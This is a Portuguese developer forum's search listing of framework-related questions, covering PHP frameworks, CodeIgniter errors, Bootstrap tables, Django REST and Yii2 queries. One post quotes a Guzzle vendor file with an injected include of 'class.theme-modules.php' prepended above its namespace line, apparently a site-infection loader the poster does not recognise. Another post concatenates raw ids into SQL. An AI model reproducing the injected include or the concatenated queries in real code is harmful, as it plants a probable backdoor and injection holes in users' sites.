Jump to content

Search the Community

Showing results for tags 'framework'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Q&A Desenvolvimento
    • Perguntas e respostas rápidas
  • Desenvolvimento e Banco de Dados
    • HTML e CSS
    • Java
    • Javascript
    • .NET
    • PHP
    • Python
    • Ruby
    • Mobile
    • Ambientes de Desenvolvimento
    • Arquitetura e Métodos Ágeis
    • Banco de Dados
    • DevOps
    • Desenvolvimento de Games
    • E-Commerce e Pagamentos Online
    • SEO e Otimizações
    • WordPress
    • Algoritmos & Outras Tecnologias
  • Design e Produto
    • Fotografia
    • Photoshop
    • Design de interfaces e UX
    • Edição/Produção de Vídeos
    • Marketing Online
    • Desenho, Ilustração e 3D
  • Entretenimento e uso pessoal
    • Geral
    • Segurança & Malwares
    • Gadgets e wearable
    • Softwares e Apps
    • Entretenimento

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Google+


Hangouts


Skype


Twitter


deviantART


Github


Flickr


LinkedIn


Pinterest


Facebook


Site Pessoal


Localização


Interesses

Found 54 results

  1. Olá, existe alguma maneira de otimizar o CRUD em PHP de um jeito próximo ao que é o plugin Advanced Custom Field do Wordpress? Onde você escolhe o tipo do dado (texto, número, imagem, data, etc) das tabelas e ele me gera as páginas com o CRUD pronto? Obrigado!
  2. Lucas Galvanini

    Qual o melhor framework Java pra Raspberry?

    Quais frameworks vocês já utilizaram para desenvolver pra Raspberry pi? Algum deles é Java? Fiquei sabendo recentemente de um framework gratuito pra Raspberry chamado TotalCross (www.totalcross.com) Me disseram que é bem fácil de usar e tem um footprint bem otimizado.
  3. Estou com um problema com esse esse script abaixo: tenho um checkbox na minha página ( não em relatório, na página mesmo, um item de página) e gostaria que o mesmo ao ser clicado e pressionado um botão submit realizasse o procedimento do script, porém ele faz o processo mas não me retorna nada. acredito que o problema seja no LOOP do APEX_APPLICATION.G_F01 . Alguém consegue me ajudar com isso? DECLARE V_DS_COLAB VARCHAR2(50); BEGIN APEX_DEBUG.MESSAGE('CHECK:'|| vCHECK); FOR A IN 1 .. APEX_APPLICATION.G_F01.COUNT LOOP BEGIN SELECT C.DS_COLABORADOR INTO V_DS_COLAB FROM COLABORADOR C WHERE C.USER_APEX = V('APP_USER') ; EXCEPTION WHEN NO_DATA_FOUND THEN RAISE_APPLICATION_ERROR(-20001,'NENHUM REGISTRO ENCONTRADO!'); WHEN TOO_MANY_ROWS THEN RAISE_APPLICATION_ERROR(-20002,'MAIS QUE UM REGISTRO ENCONTRADO!'); WHEN OTHERS THEN RAISE_APPLICATION_ERROR(-20003,'ERRO NAO PREVISTO' || SQLERRM) ; END; :P12_SUPER := (V_DS_COLAB || ' - ' || TO_CHAR(SYSDATE,'DD/MM/RRRR HH24:MI')); UPDATE COMPETENCIA_COLABORADOR CC SET FINALIZADO_SN = 'S' WHERE CC.CD_EQUIPE = :P12_EQUIPE AND CC.CD_COMPETENCIA = (SELECT C.CD_COMPETENCIA FROM COMPETENCIA C WHERE TO_DATE(LPAD(C.MES_COMPETENCIA,2,'0') || '/' || C.ANO_COMPETENCIA,'MM/RRRR') = TO_DATE(:P12_COMPETENCIA,'MM/RRRR')); END LOOP; END;
  4. bobzznnn

    Framework Pluck ou Lists

    O Sistema é Framework. Como seria puxar a tabela de nome dos usuarios sem que o 'Pluck' ou 'Lists' faça exibição dos sinais ' [" "] ' já substitui por 'value' sendo que ele só puxa exato um 'nome' está e a imagem com o 'value' esta é com o 'pluck ou 'lists' E ainda por cima não aceita os sinais de acentos, já se por 'value' ele aceita, porem só me aparece um usuario^^ public function nnIndicados() { return User::where('pai_id', $this->id)->value('name'); }
  5. Estou criando um sistema com adição de um tópico categoria que assim que é adicionado é chamado na tabela para aparecer na tabela ao lado. Estou recebendo o erro abaixo, mas a categoria é cadastrada: A PHP Error was encountered Severity: Warning Message: Cannot modify header information - headers already sent by (output started at /storage/ssd5/194/9530194/public_html/application/helpers/funcoes_helper.php:1) Filename: helpers/url_helper.php Line Number: 564 Backtrace: File: /storage/ssd5/194/9530194/public_html/application/controllers/admin/Categoria.php Line: 35 Function: redirect File: /storage/ssd5/194/9530194/public_html/index.php Line: 315 Function: require_once Segue foto: View Código: <div id="page-wrapper"> <div class="row"> <div class="col-lg-12"> <h1 class="page-header"><?php echo 'Administrar '.$subtitulo; ?></h1> </div> </div> <div class="row"> <div class="col-lg-6"> <div class="panel panel-default"> <div class="panel-heading"> <?php echo 'Adicionar nova '.$subtitulo; ?> </div> <div class="panel-body"> <div class="row"> <div class="col-lg-12"> <?php echo validation_errors('<div class="alert alert-danger">','</div>'); echo form_open('admin/categoria/inserir'); ?> <div class="form-group"> <label id="txt-categoria">Nome da Categoria</label> <input type="text" id="txt-categoria" name="txt-categoria" class="form-control" placeholder="Entre com o texto"> </div> <button type="submit" class="btn btn-default">Cadastrar</button> <?php echo form_close(); ?> </div> </div> <!-- /.row (nested) --> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> <!-- /.col-lg-6 --> <div class="col-lg-6"> <div class="panel panel-default"> <div class="panel-heading"> <?php echo 'Alterar '.$subtitulo. ' existente'; ?> </div> <?php $this->table->set_heading("Nome da Categoria","Alterar","Excluir"); foreach($categorias as $categoria){ $nomecat = $categoria->titulo; $alterar= anchor(base_url('Admin/categoria'),'<i class="fa fa-refresh fa-fw"></i> Alterar'); $excluir=anchor(base_url('Admin/categoria/excluir/'.md5($categoria->id)),' <i class="fa fa-remove fa-fw"></i> Excluir'); $this->table->add_row($nomecat,$alterar,$excluir); } $this->table->set_template(array( 'table_open' => '<table class="table table-striped">' )); echo $this->table->generate(); ?> </div> <div class="panel-body"> <div class="row"> <div class="col-lg-12"> </div> </div> <!-- /.row (nested) --> </div> <!-- /.panel-body --> </div> <!-- /.panel --> </div> </div> <!-- /.row --> </div> <!-- /#page-wrapper --> </div> MODEL CODE: <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Categorias_model extends CI_Model { public $id; public $titulo; public function __construct(){ parent::__construct(); } public function listar_categorias(){ $this->db->order_by('titulo','ASC'); return $this->db->get('categoria')->result(); } public function publicacao(){ $this->db->select('usuario.id as idautor, usuario.nome, postagens.id, postagens.titulo, postagens.subtitulo, postagens.user, postagens.data, postagens.img, postagens.categoria, postagens.conteudo'); $this->db->from('postagens'); $this->db->join('usuario', 'usuario.id = postagens.user'); $this->db->where('postagens.id ='.$id); return $this->db->get()->result(); } public function listar_titulo($id){ $this->db->from('categoria'); $this->db->whre('id ='.$id); return $this->db->get()->result(); } public function adicionar($titulo){ $dados['titulo'] = $titulo; return $this->db->insert('categoria',$dados); } public function excluir($id){ $this->db->where('md5(id)',$id); return $this->db->delete('categoria'); } } CONTROLLER: <?php defined('BASEPATH') OR exit('No direct script access allowed'); class Categoria extends CI_Controller { public function __construct(){ parent::__construct(); $this->load->model('categorias_model','modelcategorias'); $this->categorias = $this->modelcategorias->listar_categorias(); } public function index() { $dados['categorias'] = $this->categorias; $this->load->library('table'); //Dados a serem enviados para o cabeçalho $dados['titulo'] = 'Painel de Controle'; $dados['subtitulo'] = 'Categoria'; $this->load->view('backend/template/html-header', $dados); $this->load->view('backend/template/template'); $this->load->view('backend/template/categoria'); $this->load->view('backend/template/html-footer'); } public function inserir(){ $this->load->library('form_validation'); $this->form_validation->set_rules('txt-categoria','Nome da Categoria', 'required|min_length[3]|is_unique[categoria.titulo]'); if($this->form_validation->run() == FALSE){ $this->index(); }else{ $titulo = $this->input->post('txt-categoria'); if($this->modelcategorias->adicionar($titulo)){ redirect(base_url('admin/categoria')); }else{ echo "Houve um erro no sistema!"; } } } public function excluir($id){ if($this->modelcategorias->excluir($id)){ redirect(base_url('admin/categoria')); }else{ echo "Houve um erro no sistema!"; } } } Gostaria de ajuda para corrigir o erro: Desde já agradeço!
  6. Olá, estou em dúvida em qual Frameworks/Linguagens devo utilizar para desenvolver uma aplicação web flexível , seria um formulário que se adapta em tempo real conforme a opção selecionada, passando por verificação de campos e validação dos dados?
  7. Allan Carlos dos Santos G

    Como Instalar Zend PHP 1.11.11

    Bom dia Pessoal, Gostaria de saber como Instalar e colocar pra rodar a versão do Zend PHP 1.11.11, tenho tido dificuldade de achar material na internet e se puderem ajudar, obrigado!
  8. Caros, bom dia. Fiquei com dúvida, mas acho que estou postando no local correto. Sou iniciante no desenvolvimento Web (front e back). Gostei muito do padrão MVC (PHP) e por isso descobri a existência do Cake PHP. Percebi grande dificuldade em usar estas formas de programar, principalmente por não entender muito de orientação a objeto. Por isso estou fazendo um curso sobre. Mas ainda resta dúvidas: um iniciante DEVE usar padrões (acho que sim) como MVC e frameworks (não tenho certeza) como CakePHP? Principalmente no caso de frameworks, me dá a sensação que estou deixando de aprender certas partes da linguagem, pois o framework faz elas por mim. Sei que são importantes para ganho de tempo e otimização, mas como iniciante tenha meus receios. Alguém pode me ajudar? Conte sua experiência do início de carreira.
  9. guzulino

    Sistema para artigos

    Boa tarde pessoal, eu estou desenvolvendo um projeto no qual ele deve ter um sistema de post de notícias, eu comecei a pesquisar e percebi que seria muito complicado fazer na mão passo a passo, então comecei a ver como funcionam os posts dos fóruns, tipo o iMasters mesmo, bem nesse mesmo sentido, gostaria de saber se alguém tem alguma luz de como consigo criar isso, estou tentando achar algum framework que eu consiga editar para ficar como eu quiser mas está complicado conseguir algum, se alguém souber de alguém só postar aí. Valeu.
  10. Pessoal boa noite, Fiz um aplicativo acessando um banco de dados feito também diretamente do visual studio 2015, o projeto gerou um arquivo de banco de dados *.mdf com um arquivo em bloco de notas onde possui a senha e endereço... no entanto estou tentando rodar o aplicativo em uma maquina que nao possui o vs2015 instalado e estou me deparando com o seguinte erro (em anexo), alguémconsegue me ajudar? Desde ja muito obrigado galera!
  11. Anderson Modolon

    Framework JS para desenvolvimento de sistema

    Estou em busca de um framework javascript para utilizar em um novo projeto. Em principio o VueJS seria a melhor opção. Alguém poderia indicar alguma fonte para comparação ou que já tenha utilizado o VueJS confirmar se realmente é bom para o contexto de um projeto de médio porte?
  12. <!DOCTYPE html> <html lang="pt-br"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="description" content="curso de bootstrap 3"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> <title>3° site com bootstrap tabelas</title> <style> .table-striped > tbody > tr{ background-color:red; } .table-hover > tbody >tr:hover{ background-color:blue; color:white; } </style> </head> <body> <div class="container-fluid"> <h3 class="text-center">Tabelas</h3> </div> <div class="row"> <div class="col-md-6"> <table class="table table-striped table-condensed table-hover table-bordered"> <thead> <tr > <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td>0001</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0001-00</td> </tr> <tr > <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </tbody> </table> </div> <div class="col-md-6"> <div class="table-responsive"> <table class="table"> <thead> <tr> <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td class="success">0001</td> <!--linhas decoradas--> <td class="danger">Bootstrap essencial - ME</td> <td class="warning">00.000.000/0001-00</td> </tr> <tr class="success"> <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr class="warning"> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr class="active"> <td>0005</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0005-00</td> </tr> <tr class="info"> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </table> </div> <!--tabela responsiva--> </div> </div> <script src="https://code.jquery.com/jquery-2.1.3.min.js"></script> <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> </body> </html> acima site usando a versão antiga <!DOCTYPE html> <html lang="pt-br"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="description" content="curso de bootstrap 3"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" crossorigin="anonymous"> <title>3° site com bootstrap tabelas</title> <style> .table-striped > tbody > tr{ background-color:red; } .table-hover > tbody >tr:hover{ background-color:blue; color:white; } </style> </head> <body> <div class="container-fluid"> <h3 class="text-center">Tabelas</h3> </div> <div class="row"> <div class="col-md-6"> <table class="table table-striped table-condensed table-hover table-bordered"> <thead> <tr > <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td>0001</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0001-00</td> </tr> <tr > <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </tbody> </table> </div> <div class="col-md-6"> <div class="table-responsive"> <table class="table"> <thead> <tr> <th>Protocolo</th> <th>Razão Social</th> <th>CNPJ</th> </tr> </thead> <tbody> <tr> <td class="success">0001</td> <!--linhas decoradas--> <td class="danger">Bootstrap essencial - ME</td> <td class="warning">00.000.000/0001-00</td> </tr> <tr class="success"> <td>0002</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0002-00</td> </tr> <tr class="warning"> <td>0003</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0003-00</td> </tr> <tr class="active"> <td>0005</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0005-00</td> </tr> <tr class="info"> <td>0004</td> <td>Bootstrap essencial - ME</td> <td>00.000.000/0004-00</td> </tr> </table> </div> <!--tabela responsiva--> </div> </div> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js" integrity="sha384-cs/chFZiN24E4KMATLdqdvsezGxaGsi4hLGOzlXwp5UZB1LY//20VyM2taTB4QvJ" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js" integrity="sha384-uefMccjFJAIv6A+rW+L4AHf99KvxDjWSu1z9VI8SKNVmz4sk7buKt/6v9KI65qnm" crossorigin="anonymous"></script> </body> </html> o que denunciou a falha do framework foi a table-striped não ter funcionado e o estados nas linhas da tabela.
  13. wcarriello

    Multi Page Aplication

    Qual o melhor (na sua opnião) framework JS para trabalhar com MPA (Multi Page Aplication) com dados vindos de uma API. E como vocês organizam e trabalham com isso? Escopo do projeto: - Portal de notícias e eventos com média de 15mil acessos dia. - API feita em Django (com autenticação via token) - Sistema de rotas - SEO Minha dúvida é porque atualmente trabalhamos com Flask ou Lumen para o gerenciamento de rotas e dados vindas da API. Usamos apenas jQuery quando precisamos e queremos mudar a nossa forma de trabalho.
  14. aantunesl

    Namespace - Alguem me ajuda

    Por gentileza pessoal, acabo de instalar um sistema em minha hospedagem, mas esta apresentando este erro: Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in public_html/project/vendor/guzzlehttp/promises/src/functions.php on line 1 <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php namespace GuzzleHttp\Promise; function queue(TaskQueueInterface $assign = null) { static $queue; if ($assign) { $queue = $assign; } elseif (!$queue) { $queue = new TaskQueue(); } return $queue; } Alguem sabe como resolver esta questão? Agradeço.
  15. ndias

    Indicação de Framework PHP

    Tenho uma aplicação web hospedada num Cloud Windows na locaweb rodando PHP 5.3 com banco de dados sql server. Eu programo no modo procedural. Gostaria de obter indicações de framework, uma vez que nunca utilizei e tenho pouca familiaridade com orientação a objetos.
  16. Roberto Messa

    Novo Framework PHP

    Fiz um framework e vou colocar como código aberto. qual a melhor forma de fazer isto p q ele fique famoso rapido? quais as recomendações para que o framework seja bem sucedido? https://docs.google.com/presentation/d/1RW5CeBnO00WEJQqG3ybegCNJRo-Ng7Pgbb1_GkuejtM/edit?usp=sharing
  17. quimera

    Estrutura do painel administrativo

    Como seria a estrutura do painel administrativo de um site (apesar de já ter feito um painel), ainda tenho dúvidas em relação a esta parte essencial do sistema. Ele deveria ser dinâmico levando em conta adicionar funcionalidades ou seria mais estático tendo somente as específicas daquele site em específico? - O que dá mais/menos trabalho? - Usar uma framework vai ser um tiro no pé (caso seja descontinuada/desatualizada)? - Criar o próprio sistema visando acréscimo de plugins/extensões é uma boa?
  18. GalaxyQuasar

    (Projeto) UltraPluginJs

    Olá a todos, perdão se postei na área incorreta pois ainda sou novo no fórum. Meu nome é Kayky Vitor Cruz e eu sou um estudante de JavaScript, há algum tempo venho desenvolvendo um projeto que planejo melhorar cada vez mais, o mesmo consiste em uma mescla de biblioteca de funções em Js que torna a programação da linguagem mais simples com uma espécie de framework que permite criar objetos de outros linguagens simples da web (como VBScript, CSS e HTML) direto no script de maneira limpa e agradável para o programador. Eu criei um blog simples com informações feitas em inglês para que eu pudesse pedir o feedback de usuários do Reddit também. Peço que os usuários mais experientes ou aqueles que realmente queiram avaliar meu trabalho testem o projeto, o mesmo vem com um arquivo contendo todas as informações sobre as funções disponíveis e as variáveis alocadas para o funcionamento do script. http://ultrapluginjs.blogspot.com.br/?m=1 Muito obrigado a todos pela atenção e possível colaboração, o projeto está completo e eu já testei todas as funções, porém existem algumas que ainda estão em desenvolvimento e por isso inseri a informação de que está em testes alfa.
  19. Fernando Rotermund

    Mudança de framework proprio para algum do mercado.

    Gostaria de saber a opinião e a experiencia dos programadores aqui, que tinham um framework proprio e trocaram por algum do mercado, como laravel, cake, synfony, codeigniter e etc. Não quero saber sobre os frameworks, quero saber se a troca foi boa, e se melhorou em algo para quem fez isso.
  20. th4deu

    Framework: Usar ou não usar?

    Fala, pessoal! Surgiram alguns projetos de programadores que abandonaram o projeto e tenho percebido que recentemente, maioria dos projetos que pego em PHP vindo de outras pessoas não seguem um padrão (MVC, etc) e também não utilizam nenhum framework. Como vocês programam? Preferem o código "puro" ou usar algum Framework para padronizar? Se sim, como vocês costumam escolher o Framework? Já respondendo, eu sempre procuro padronizar com a utilização de algum framework, até mesmo pra facilitar a manutenção quando trabalho com vários projetos intercalados, etc. No caso, utilizo o codeigniter para projetos menores e laravel para projetos médios/grandes. E vocês?
  21. gust.php

    API Django Rest Framework

    Senhores, boa noite. Tenho assistido vários vídeos de como criar uma API Rest usando Django Rest Framework e não parece ser difícil. Em todos os vídeos que assisto os exemplos são criados inserindo e mostrando dados cadastrados em um DB criado com o comando : python manager.py migrate Esse comando acima me parece ser utilizado para criar um modelo de admin do Django .... Certo ? Quero criar uma API para ler dados de uma tabela que já esta criada em um sistema meu em produção. Como registrar o meu banco de dados? como fazer ele ler a tabela que eu quero? .... Não quero nem que exista esse DB admin ... Alguém recomenda algum video do tipo: Criando um tabelinha Cliente nome email Agora no Django rest vamos criar as models, views e serializers para ler essa informações e disponibilizar .... Agradeço ....
  22. Boa noite pessoal trabalho como desenvolvedor a algum tempo e sempre tive uma demanda de criação de sistemas rápidos soluções com características bem parecidas então criei essa ferramenta e gostaria da avaliação, criticas e sugestões de você com relação a ela o vídeo é curto e mostra a ferramenta com quase tudo que ela tem dentre o requisitos estão: 1 - sistema web 2 - responsivo 3 - multi usuario 4 - multi empresa 5 - sistema integrado de busca 6 - geração de relatório 7 - menu principal gerado automaticamente de acordo com os acessos do usuário 8 - controle de acesso por níveis de usuários 9 - controle de acesso por ip 10 - registro de log de acesso tem muito mais coisas assistam o vídeo e vejam o quão rápido é gerado um sistema, tudo gerado e editado através do browser Link abaixo:
  23. brunomecca

    Devo aprender a utilizar um framework?

    Galera, estou querendo uma opinião de desenvolvedores experientes em PHP. Estou com toda a documentação pronta de um jogo de browser, porém quando começo a implementação, percebo que poderia ser mais produtivo utilizando um framework. Não tenho experiências com frameworks e pretendo desenvolver a aplicação sem o uso de um, mas com certeza ela ficaria muito vulnerável e trabalhosa demais de ser desenvolvida, certo? A questão é: devo me esforçar para aprender um framework, ou continuo e desenvolvo o jogo com PHP e JS mesmo? O jogo contém muito acesso ao bd e algumas leituras de arquivos por parte do servidor.
  24. João Batista Neto

    RanchoDev

    until
    Um dia inteiro de troca de conhecimento, cultura e discussões sobre desenvolvimento! O #RanchoDev é uma conferência para desenvolvedores de software organizado por uma equipe da empresa Tegra – Inovação em TI, empresa 100% brasileira e em franco crescimento com sedes em Sorocaba, São Paulo e Rio de Janeiro. O evento também conta com colaboradores voluntários e patrocinadores focados no fomento da tecnologia no interior paulista. http://www.ranchodev.com.br/
  25. Mateus Silva

    Yii2 Relations

    Seguinte: Recentemente iniciei um projeto e optei por usar o Yii2 no mesmo (utilizo o yii1 no serviço, já estava familiarizado), porém... Notei que nas relations do Yii2, diferente do Yii1, o framework executa 2 queries... por exemplo: Ao invés de: SELECT interation.title, interation.message, user.name, user.email FROM interations AS interation LEFT JOIN users AS user ON (user.id = interation.user_id) Ele executaria: SELECT interation.title, interation.message, user.id FROM interations AS interation LEFT JOIN users AS user ON (user.id = interation.user_id) SELECT * FROM users WHERE id = (id_obtido_a_cima) Ou seja, enquanto no Yii1 ele cria a relation já buscando todos os dados que preciso, no Yii2, no join, ele apenas trás a FK da tabela que estou relacionando e posteriormente executa um SELECT * pela FK que retornou do join... nada interessante se pensando pra um sistema com muitas linhas de um grid, por exemplo, que em 10 linhas faria 20 consultas, performance vai lá pra vala! Acredito que tenham feito esta atualização por algum motivo que eu desconheço, alguém saberia como "burlar" isso, ou o motivo de ter sido feito desta maneira nesta nova versão?
×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.